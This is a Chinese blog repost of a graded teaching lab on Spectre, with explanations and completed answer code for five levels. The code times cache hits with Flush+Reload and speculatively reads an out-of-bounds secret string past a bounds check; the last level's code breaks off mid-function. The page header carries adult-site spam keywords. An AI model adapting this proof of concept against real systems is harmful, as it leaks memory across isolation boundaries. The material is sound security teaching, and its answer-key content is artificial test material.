日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Spectre侧信道攻击过程验证

發(fā)布時(shí)間:2023/12/31 编程问答 61 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Spectre侧信道攻击过程验证 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

第1關(guān):Cache vs Memory

  • 任務(wù)要求
  • 參考答案
  • 評(píng)論
  • 關(guān)卡排行榜
  • 實(shí)驗(yàn)?zāi)康?/li>
  • 任務(wù)描述
  • 相關(guān)知識(shí)
    • CPU高速緩存
    • 緩存命中
    • 緩存驅(qū)逐
    • 代碼執(zhí)行時(shí)間精確測(cè)量
    • 緩存行Cache Line
  • 編程要求
  • 測(cè)試說明
  • 提示

任務(wù)描述

完善任務(wù)代碼,測(cè)量并記錄CPU訪問數(shù)據(jù)時(shí),發(fā)生緩存命中與緩存不命中時(shí)的數(shù)據(jù)訪問時(shí)間,并通過重復(fù)測(cè)量確保結(jié)果準(zhǔn)確。

相關(guān)知識(shí)

為了完成本關(guān)及后續(xù)關(guān)卡的任務(wù),需要掌握以下相關(guān)知識(shí)。

CPU高速緩存

CPU高速緩存機(jī)制的引入,主要是為了解決CPU越來越快的運(yùn)行速度與相對(duì)較慢的主存訪問速度的矛盾。經(jīng)典的CPU的存儲(chǔ)器結(jié)構(gòu)為金字塔型,如下圖所示: 通常,CPU訪問寄存器中的數(shù)據(jù),只需要一個(gè)時(shí)鐘周期;訪問高速緩存中的數(shù)據(jù),大概需要幾十個(gè)時(shí)鐘周期;如果訪問的數(shù)據(jù)在主存中,需要大概上百個(gè)周期;而訪問磁盤中的數(shù)據(jù)則需要大約幾千萬個(gè)周期。

備注:在本任務(wù)中,我們對(duì)三級(jí)緩存不做區(qū)分,統(tǒng)稱為Cache或高速緩存。

緩存命中

當(dāng)CPU需要訪問數(shù)據(jù)時(shí),會(huì)從存儲(chǔ)器金字塔的塔尖處開始檢查數(shù)據(jù),首先在高速緩存中檢查數(shù)據(jù)是否存在,如果發(fā)現(xiàn)目標(biāo)數(shù)據(jù)已經(jīng)加載到高速緩存中,則直接從高速緩存中讀數(shù)據(jù)寫入寄存器中。該過程稱為“緩存命中(Cache Hit)”,且通常占用較少的時(shí)鐘周期。反之,如果數(shù)據(jù)不在高速緩存中,則CPU從內(nèi)存中加載數(shù)據(jù)到高速緩存,再?gòu)母咚倬彺鎸?shù)據(jù)加載到寄存器,參與后續(xù)運(yùn)算,該過程稱為“緩存不命中(Cache Miss)”,通常占用較多的時(shí)鐘周期。

緩存驅(qū)逐

由于CPU高速緩存大小有限,當(dāng)緩存已滿,而又需要從內(nèi)存中加載新的數(shù)據(jù)時(shí),CPU會(huì)按照一定的策略將某些緩存行(Cache Line)從高速緩存中移除,該過程稱為緩存驅(qū)逐(FLUSH)。在本實(shí)驗(yàn)中,為了達(dá)到測(cè)量時(shí)間差的目的,需要人工調(diào)用函數(shù)_mm_clflush()強(qiáng)制驅(qū)逐緩存,代碼如下:

  • // 將函數(shù)參數(shù)所指向的內(nèi)存地址中的數(shù)據(jù)從緩存中驅(qū)逐(以Cache Line為單位)
  • _mm_clflush(&array[i*4096]);
  • 代碼執(zhí)行時(shí)間精確測(cè)量

    rdtsc/rdtscp 是 x86 CPU 的指令,含義是 read TSC(Time Stamp Counter) 寄存器,而TSC 寄存器在每個(gè) CPU 時(shí)鐘信號(hào)到來時(shí)加 1。由于TSC寄存器中的數(shù)值遞增速度和 CPU 的主頻相關(guān),且服務(wù)器的CPU主頻一般很高(通常再GHz以上),所以利用該指令,我們可以獲得納秒級(jí)別的時(shí)間精度。

    考慮到CPU在執(zhí)行指令時(shí)存在亂序執(zhí)行的情況,為了保證測(cè)量精讀,我們選用rdtscp指令(而非tdtsc指令),進(jìn)行時(shí)間測(cè)量。

  • // Generates the rdtscp instruction, writes TSC_AUX[31:0] to memory, and returns the 64-bit Time Stamp Counter (TSC) result.
  • // Parameters
  • AUX: [out] Pointer to a location that will contain the contents of the machine-specific register TSC_AUX[31:0].
  • // Return value
  • // A 64-bit unsigned integer tick count.
  • unsigned __int64 __rdtscp(
  • unsigned int * AUX
  • );
  • 緩存行Cache Line

    高速緩執(zhí)行數(shù)據(jù)的存儲(chǔ)時(shí)候,以行為單位進(jìn)行對(duì)齊,即每次緩存加載或緩存驅(qū)逐時(shí),均加載或驅(qū)逐整數(shù)倍的Cache Line大小數(shù)據(jù)(與CPU架構(gòu)相關(guān),通常為64字節(jié))。 因此,本任務(wù)所有關(guān)卡中,為了避免相鄰地址的數(shù)據(jù)加載時(shí)發(fā)生干擾,我們選擇遠(yuǎn)大于Cache Line的偏移量4096將測(cè)量對(duì)象對(duì)齊。

  • // 內(nèi)存中布局測(cè)試對(duì)象時(shí),以4096為單位進(jìn)行對(duì)齊
  • uint8_t array[10*4096];
  • // 緩存驅(qū)逐
  • for(i=0; i<10; i++)
  • _mm_clflush(&array[i*4096]);
  • 編程要求

    根據(jù)提示,在右側(cè)編輯器完善代碼,完成數(shù)據(jù)初始化、緩存驅(qū)逐、緩存加載、時(shí)延測(cè)定等全部環(huán)節(jié),輸出對(duì)array[10*4096]數(shù)組中各元素的訪問時(shí)延。

    測(cè)試說明

    平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試:

    自測(cè)預(yù)期輸出:

  • Round A ---------------------------
  • 訪問array[0*4096]消耗: XX CPU周期
  • 訪問array[1*4096]消耗: XX CPU周期
  • ……
  • 訪問array[8*4096]消耗: XXX CPU周期
  • 訪問array[9*4096]消耗: XXX CPU周期
  • 提示

    代碼完成后,可以點(diǎn)擊“自測(cè)運(yùn)行按鈕”,查看程序運(yùn)行結(jié)果。 點(diǎn)擊“測(cè)評(píng)”即可自動(dòng)判定是否通關(guān)。 請(qǐng)記錄下緩存命中時(shí)的時(shí)延大小,后續(xù)關(guān)卡將使用該值作為判定門限。

    開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>uint8_t array[10*4096]; FILE *fp; int cache_timer() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;unsigned int ui;int i;// 初始化該數(shù)組for(i=0; i<10; i++) array[i*4096]=1;// 補(bǔ)全下方代碼,完成array[0*4096]至array[9*4096]數(shù)據(jù)的緩存驅(qū)逐/**************************************************/for(i=0; i<10; i++) _mm_clflush(&array[i*4096] );/**************************************************/// 訪問數(shù)組部分元素,使其存儲(chǔ)到Cache(學(xué)生選取部分元素進(jìn)行訪問,注意不要訪問第一個(gè)元素,沒有意義)array[3*4096] = 100;array[7*4096] = 200; /*******請(qǐng)勿修改下方代碼,否則可能導(dǎo)致測(cè)評(píng)無法通過******/for(i=0; i<10; i++) {addr = &array[i*4096];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; printf("訪問array[%d*4096]消耗: %d CPU周期\n",i, (int)time2);fprintf(fp,"%d,",(int)time2);} /**************************************************/return 0; }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T1/result.txt","w");fprintf(fp,"數(shù)組各元素訪問時(shí)延(重復(fù)10次)測(cè)量結(jié)果:\n");int round=0;for(round=0;round<10;round++){printf("Round %d ---------------------------\n",round);cache_timer();printf("------------------------------------\n");}fclose(fp);return 0; }

    第2關(guān):基于Flush+Reload的側(cè)信道實(shí)現(xiàn)

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
      • FLUSH+RELOAD技術(shù)
      • 實(shí)驗(yàn)設(shè)定
    • 編程要求
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    通過實(shí)驗(yàn),幫助學(xué)員掌握利用高速緩存FLUSH+RELOAD技術(shù)實(shí)施側(cè)信道攻擊的基本過程。

    任務(wù)描述

    在上一關(guān)的基礎(chǔ)上,完善任務(wù)代碼,首先設(shè)定將某次數(shù)據(jù)訪問判定為“緩存命中”的門限值,進(jìn)一步對(duì)某內(nèi)存數(shù)據(jù)(Secret值)實(shí)施側(cè)信道攻擊,實(shí)現(xiàn)在不直接訪問數(shù)據(jù)的條件下,借助訪問時(shí)延判定該數(shù)據(jù)的具體內(nèi)容。

    相關(guān)知識(shí)

    FLUSH+RELOAD技術(shù)

    Flush+Reload(FR)方法是prime-probe方法的變種,基于共享內(nèi)存實(shí)現(xiàn),是一種跨內(nèi)核、跨虛擬機(jī)的Cache探測(cè)方法。

    在Flush 階段,攻擊者將監(jiān)控的內(nèi)存塊從cache中驅(qū)逐出去,然后在Trigger階段等待目標(biāo)代碼/進(jìn)程/用戶/虛擬機(jī)訪問共享內(nèi)存(即將相應(yīng)數(shù)據(jù)加載到共享內(nèi)存中)。在Reload階段,攻擊者重新加載監(jiān)控的共享內(nèi)存塊。

    如果在等待的期間,目標(biāo)代碼/進(jìn)程/用戶/虛擬機(jī)已經(jīng)訪問過某些內(nèi)存塊,則Reload期間會(huì)觸發(fā)緩存命中,時(shí)間較短,否則時(shí)間較長(zhǎng)。根據(jù)reload階段內(nèi)存數(shù)據(jù)訪問的時(shí)間長(zhǎng)短,可獲取目標(biāo)內(nèi)存塊中的共享信息。

    實(shí)驗(yàn)設(shè)定

    具體在本實(shí)驗(yàn)中,假設(shè)待獲取的目標(biāo)內(nèi)存數(shù)據(jù)為“secret=66”,首先調(diào)用flushSideChannel()函數(shù),將所有數(shù)據(jù)從緩存中驅(qū)逐(_mm_clflush()),通過執(zhí)行victim()函數(shù)用來假設(shè)執(zhí)行目標(biāo)對(duì)敏感數(shù)據(jù)的訪問,最后在reloadSideChannel()函數(shù)中完成訪問時(shí)延的測(cè)量與敏感信息的獲取。

    編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成基于Flush+Reload的側(cè)信道攻擊實(shí)現(xiàn),按要求打印攻擊結(jié)果。

    測(cè)試說明

    平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。 部分代碼參考關(guān)卡1。


    開始你的任務(wù)吧,祝你成功!

    //該實(shí)驗(yàn)中,假設(shè)用戶沒有Secret的訪問權(quán)限,不能直接讀取Secret的值,可以通過測(cè)時(shí)延來獲取其內(nèi)容。#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>FILE *fp; uint8_t array[256*4096]; int temp; unsigned char secret = 66;/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)上一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024void victim() {temp = array[secret*4096 + DELTA]; }void flushSideChannel() {int i;// 初始化該數(shù)組,防止Copy-on-Write導(dǎo)致實(shí)驗(yàn)失敗for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存Cache,請(qǐng)?jiān)谙路窖a(bǔ)充代碼,將array[0*4096+DELTA]至array[255*4096+DELTA]等數(shù)據(jù)從緩存中強(qiáng)制驅(qū)逐/**************************************/for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096+DELTA]);/**************************************/ }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;unsigned int ui;//請(qǐng)補(bǔ)全并下方代碼,獲得i*4096 + DELTA位置元素的訪問時(shí)延,并將小于門限的訪問行為判定為緩存命中,按照指定格式輸出結(jié)果。for(i = 0; i < 256; i++){ addr = &array[i*4096+DELTA];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)發(fā)生緩存命中,時(shí)延%d.\n", i, DELTA, (int)time2);printf("秘密值Secret = %d(字符:\'%c\')。\n", i, i);fprintf(fp,"秘密值Secret = %d(字符:\'%c\')。\n" ,i, i); //不要修改本行代碼}} }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T2/result.txt","w");flushSideChannel();victim();reloadSideChannel();fclose(fp);return (0); }

    第3關(guān):Spectre預(yù)測(cè)執(zhí)行

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
      • Spectre漏洞
      • 預(yù)測(cè)執(zhí)行
      • 預(yù)測(cè)執(zhí)行的前提
    • 編程要求
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    通過實(shí)驗(yàn),使學(xué)生建立對(duì)Spectre這一CPU層面的漏洞的直觀認(rèn)識(shí),理解并掌握如何利用預(yù)測(cè)執(zhí)行對(duì)目標(biāo)數(shù)據(jù)執(zhí)行非法訪問,為后續(xù)關(guān)卡任務(wù)做準(zhǔn)備。

    任務(wù)描述

    在前面關(guān)卡的基礎(chǔ)上,完善和補(bǔ)全代碼,測(cè)試Spectre幽靈漏洞能夠?qū)崿F(xiàn)的攻擊效果,即能夠訪問到代碼約束范圍以外的數(shù)據(jù)。

    相關(guān)知識(shí)

    Spectre漏洞

    Spectre漏洞是一個(gè)存在于處理器中的,由于預(yù)測(cè)執(zhí)行優(yōu)化涉及而引入的一種設(shè)計(jì)缺陷和安全漏洞。基本所有含有預(yù)測(cè)執(zhí)行的現(xiàn)代處理器均受此漏洞的影響。

    針對(duì)該漏洞的利用通常采用基于時(shí)間的側(cè)信道攻擊,允許惡意進(jìn)程獲得合法內(nèi)存以外(如其他程序的內(nèi)存、甚至其他容器的內(nèi)存)的數(shù)據(jù)。

    預(yù)測(cè)執(zhí)行

    在計(jì)算機(jī)的組成結(jié)構(gòu)中,內(nèi)存讀取的速度相比于CPU來看是很慢的,當(dāng)CPU在運(yùn)行過程中需要讀取內(nèi)存的時(shí)候,為了提高執(zhí)行效率,CPU會(huì)“搶跑”。如下圖所示: 當(dāng)CPU需要從內(nèi)存中取數(shù)據(jù)MEM時(shí),同時(shí)執(zhí)行MEM讀取指令以及instructionA,即對(duì)分支進(jìn)行了“預(yù)測(cè)執(zhí)行”。當(dāng)MEM數(shù)據(jù)讀取返回并判斷后,如果發(fā)現(xiàn)預(yù)測(cè)錯(cuò)誤,則中斷預(yù)測(cè)執(zhí)行,并回滾計(jì)算狀態(tài)(即寄存器等);否則繼續(xù)執(zhí)行后續(xù)指令。 然而,CPU在執(zhí)行預(yù)測(cè)執(zhí)行的回滾操作時(shí),僅回滾了寄存器而高速緩存并沒有被清空,從而為惡意代碼可能訪問到邊界外的數(shù)據(jù)提供了可能。

    預(yù)測(cè)執(zhí)行的前提

    CPU在進(jìn)行預(yù)測(cè)執(zhí)行操作時(shí),會(huì)根據(jù)此前判斷條件的結(jié)果進(jìn)行分支預(yù)測(cè)。因此,實(shí)施Spectre攻擊的重要環(huán)節(jié)是需要對(duì)CPU的分支判斷進(jìn)行“訓(xùn)練”,即本任務(wù)中需要使用合法參數(shù)多次調(diào)用victim()函數(shù),使CPU“記住”判斷狀態(tài)。

    編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成對(duì)CPU分支預(yù)測(cè)的訓(xùn)練、邊界外數(shù)據(jù)(即索引大于size的數(shù)組元素)向高速緩存的加載,并利用FLUSH+RELOAD側(cè)信道來驗(yàn)證目標(biāo)數(shù)據(jù)是否已加載。

    考慮到利用Sepctre漏洞時(shí),因?yàn)橄到y(tǒng)噪聲(即其他系統(tǒng)進(jìn)程對(duì)CPU的占用、對(duì)緩存的占用等)的影響,某些時(shí)候分支的預(yù)測(cè)不會(huì)按照我們的期望執(zhí)行,因此,本任務(wù)中將重復(fù)10次實(shí)驗(yàn),查看緩存命中結(jié)果。

    測(cè)試說明

    平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。

    預(yù)期輸出:

  • 第1次實(shí)驗(yàn)----
  • 第2次實(shí)驗(yàn)----
  • 訪問array[97*4096 + 1024]元素時(shí)命中緩存,時(shí)延XX.
  • 第3次實(shí)驗(yàn)----
  • 第4次實(shí)驗(yàn)----
  • 訪問array[97*4096 + 1024]元素時(shí)命中緩存,時(shí)延XX.
  • 第5次實(shí)驗(yàn)----
  • ……
  • 第10次實(shí)驗(yàn)----

  • 開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;int size = 10; uint8_t array[256*4096]; uint8_t temp = 0;void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) {array[i*4096 + DELTA] = 1;}// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)命中緩存,時(shí)延%d.\n", i, DELTA,(int)time2);fprintf(fp,"訪問array[%d*4096 + %d]元素時(shí)命中緩存,時(shí)延%d.\n", i, DELTA,(int)time2);}} }void victim(size_t x) {if (x < size) { temp = array[x * 4096 + DELTA]; } }int main() {fp=fopen("Spectre-Attack/ans/T3/result.txt","w");int i;// 初始化側(cè)信道攻擊條件flushSideChannel();//使用while循環(huán),重復(fù)10次執(zhí)行實(shí)驗(yàn)int loop = 10;while(--loop >= 0){printf("第%d次實(shí)驗(yàn)----\n", 10-loop);fprintf(fp,"第%d次實(shí)驗(yàn)----\n", 10-loop);// 訓(xùn)練CPU,使其預(yù)測(cè)時(shí)進(jìn)入期望分支for (i = 0; i < 10; i++) { victim(i);}// 請(qǐng)補(bǔ)全下方代碼并取消注釋,①將victim()函數(shù)中分支判斷需要的數(shù)據(jù)'size'從緩存中驅(qū)逐,以在后續(xù)調(diào)用中觸發(fā)預(yù)測(cè)執(zhí)行;②將array數(shù)組中i*4096+DELTA處的數(shù)據(jù)從緩存中驅(qū)逐,以便后續(xù)reload階段判斷目標(biāo)數(shù)據(jù)是否被加載。_mm_clflush(&size);for (i = 0; i < 256; i++)_mm_clflush(&array[i*4096+DELTA]); //嘗試訪問邊界外的數(shù)據(jù)victim(97); // reload數(shù)據(jù),開展側(cè)信道攻擊,查看是否已經(jīng)將數(shù)據(jù)裝入緩存reloadSideChannel();usleep(100);}fclose(fp);return (0); }

    第4關(guān):Spectre攻擊簡(jiǎn)單實(shí)驗(yàn)(代碼補(bǔ)全后,多次執(zhí)行"自測(cè)運(yùn)行",查看運(yùn)行結(jié)果,看看有什么發(fā)現(xiàn)。)

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
      • 沙箱SandBox
      • 代碼中的關(guān)鍵數(shù)據(jù)解釋
    • 編程要求
    • 建議
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    通過實(shí)驗(yàn),使學(xué)生掌握利用高速緩存?zhèn)刃诺篮虲PU的Spectre漏洞,突破代碼的邊界檢查,實(shí)現(xiàn)對(duì)目標(biāo)內(nèi)存中的數(shù)據(jù)有效訪問。

    任務(wù)描述

    在前期關(guān)卡知識(shí)點(diǎn)已掌握的基礎(chǔ)上,完善和補(bǔ)全代碼,依賴合法內(nèi)存訪問函數(shù)uint8_t restrictedAccess(size_t x),通過利用CPU的預(yù)測(cè)執(zhí)行機(jī)制和高速緩存?zhèn)刃诺?#xff0c;實(shí)現(xiàn)對(duì)約束范圍外的數(shù)據(jù)secret="Some Secret Value"訪問和提取,并打印提取結(jié)果。

    相關(guān)知識(shí)

    沙箱SandBox

    沙箱技術(shù)是應(yīng)用開發(fā)中常用的一種安全技術(shù),用于隔離對(duì)象/線程/進(jìn)程等對(duì)資源的訪問。 例如操作系統(tǒng)層面的沙箱的含義就是操作系統(tǒng)對(duì)進(jìn)程的可訪問的內(nèi)存地址所做的限制,限制進(jìn)程可訪問的內(nèi)存在其被分配的內(nèi)存地址區(qū)間內(nèi),而不允許操作其他的內(nèi)存地址,從而提供安全層面的防護(hù)。 而在瀏覽器環(huán)境下,沙箱的本質(zhì)原理相同,只是隔離的對(duì)象為不同的頁面、腳本等所使用的內(nèi)存,防止其訪問到其他非同源的頁面數(shù)據(jù)或通信數(shù)據(jù)。

    在本實(shí)驗(yàn)中,我們使用uint8_t restrictedAccess(size_t x)函數(shù)來實(shí)現(xiàn)一個(gè)極簡(jiǎn)沙箱,限制進(jìn)程能夠訪問的內(nèi)存地址為buffer[0]-buffer[9]。

    代碼中的關(guān)鍵數(shù)據(jù)解釋

  • buffer[10]為進(jìn)程允許訪問的合法內(nèi)存;
  • secret="Some Secret Value"為合法內(nèi)存邊界之外的敏感信息,攻擊者利用沙箱函數(shù)無法直接訪問;
  • array[256*4096]為字典數(shù)組,根據(jù)restrictedAccess函數(shù)返回值(1個(gè)字節(jié),假設(shè)為i),將對(duì)應(yīng)i*4096+DELTA索引處的數(shù)據(jù)加載到緩存中,用于后續(xù)進(jìn)行側(cè)信道攻擊從而提取敏感信息;
  • size_t index_beyond = (size_t)(secret - (char*)buffer);?代碼用于計(jì)算敏感信息與合法內(nèi)存地址間的偏移量,此處為簡(jiǎn)化設(shè)計(jì)。在現(xiàn)實(shí)中,攻擊者可以采用其他手段獲得該偏移量(例如猜測(cè)、經(jīng)驗(yàn)等),從而直接實(shí)施后續(xù)的側(cè)信道攻擊。
  • 編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成CPU分支預(yù)測(cè)的訓(xùn)練、邊界外內(nèi)存數(shù)據(jù)的緩存加載,并利用高速緩存?zhèn)刃诺捞崛∧繕?biāo)地址的敏感信息值。

    建議

    代碼補(bǔ)全后,多次執(zhí)行"自測(cè)運(yùn)行",查看運(yùn)行結(jié)果,看看有什么發(fā)現(xiàn)。

    測(cè)試說明

    平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。

    測(cè)試輸入:無 預(yù)期輸出:

  • 秘密值內(nèi)存地址: 0x400988
  • 合法訪問內(nèi)存地址: 0x601050
  • 秘密值地址相對(duì)與合法訪問內(nèi)存地址偏移量(邊界之外): -2098888
  • 訪問array[83*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 83(S).
  • 訪問array[109*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 109(m).
  • 訪問array[32*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 32( ).
  • 訪問array[83*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 83(S).
  • 訪問array[101*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 101(e).
  • 訪問array[99*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 99(c).
  • 訪問array[114*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 114(r).
  • 訪問array[101*4096 + 1024]元素時(shí)命中緩存.
  • 秘密值 = 101(e).

  • 開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱示意,用來約束訪問邊界 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時(shí)命中緩存.\n", i, DELTA);printf("秘密值 = %c(ASCII碼:%d).\n",(i > 31 && i < 127 ? i : '?'), i);fprintf(fp,"%c,",(i > 31 && i < 127 ? i : '?'));}} }void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;// 訓(xùn)練CPU,使其在攻擊時(shí)進(jìn)入期望的預(yù)測(cè)分支.for (i = 0; i < 10; i++) { restrictedAccess(i); }// 補(bǔ)全下方代碼,將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。/***********************************************************/_mm_clflush(&buffer[bound_upper]);_mm_clflush(&buffer[bound_lower]);for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);/***********************************************************/for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測(cè)執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond); if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T4/result.txt","w");flushSideChannel();size_t index_beyond = (size_t)(secret - (char*)buffer); printf("秘密值內(nèi)存地址: %p \n", secret);printf("合法訪問內(nèi)存地址: %p \n", buffer);printf("秘密值地址相對(duì)與合法訪問內(nèi)存地址偏移量(邊界之外): %ld \n", index_beyond);for(int k=0;k<strlen(secret);k++){spectreAttack(index_beyond+k);reloadSideChannel();usleep(10);}fclose(fp);return (0); }

    第5關(guān):Spectre攻擊實(shí)驗(yàn)改進(jìn)

    • 任務(wù)要求
    • 參考答案
    • 評(píng)論
    • 關(guān)卡排行榜
    • 實(shí)驗(yàn)?zāi)康?/li>
    • 任務(wù)描述
    • 相關(guān)知識(shí)
    • 優(yōu)化方法
    • 編程要求
    • 測(cè)試說明

    實(shí)驗(yàn)?zāi)康?/h3>

    掌握在噪聲情況下,如何利用側(cè)信道和Spectre漏洞實(shí)現(xiàn)高準(zhǔn)確率的敏感信息提取。

    任務(wù)描述

    經(jīng)過上一關(guān)的試驗(yàn)結(jié)果觀察發(fā)現(xiàn),由于CPU執(zhí)行其他任務(wù)、緩存命中時(shí)延的門限設(shè)置不夠準(zhǔn)確等噪聲影響,常常導(dǎo)致無法準(zhǔn)確的將訪問到的敏感信息恢復(fù)和提取出來。因此,本關(guān)中對(duì)上一關(guān)代碼進(jìn)行優(yōu)化改進(jìn),通過多次重復(fù)實(shí)驗(yàn),統(tǒng)計(jì)各字符在緩存中的命中次數(shù)(即:積分),進(jìn)一步的根據(jù)不同位置的積分值,獲得敏感信息的準(zhǔn)確值。

    相關(guān)知識(shí)

    見前面幾關(guān)的相關(guān)知識(shí)一節(jié)。

    優(yōu)化方法

    在敏感字符的恢復(fù)提取環(huán)節(jié),除了使用array[256*4096]字典數(shù)組之外,還使用一個(gè)積分?jǐn)?shù)組static int scores[256]。在攻擊過程中,每次利用側(cè)信道探測(cè)到某內(nèi)存的字符X(其十進(jìn)制表示為k),則將score[k]的值加1。針對(duì)每個(gè)字符的側(cè)信道攻擊結(jié)束后,統(tǒng)計(jì)整個(gè)score[]數(shù)組中的積分值,選擇積分最高的作為概率最高的敏感字符。

    編程要求

    根據(jù)提示,在右側(cè)編輯器補(bǔ)充代碼,完成準(zhǔn)確的敏感字符提取(本關(guān)僅要求恢復(fù)處secret的第一個(gè)字符)。

    測(cè)試說明

    平臺(tái)會(huì)對(duì)你編寫的代碼進(jìn)行測(cè)試。

    預(yù)期輸出:

  • 秘密值 'X' (ASCII: XX),積分值:XXX.

  • 開始你的任務(wù)吧,祝你成功!

    #include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; uint8_t temp = 0; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請(qǐng)去掉下面一行的注釋,并將括號(hào)中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測(cè)得的緩存命中時(shí)延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱訪問函數(shù)示意 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機(jī)制對(duì)實(shí)驗(yàn)結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) 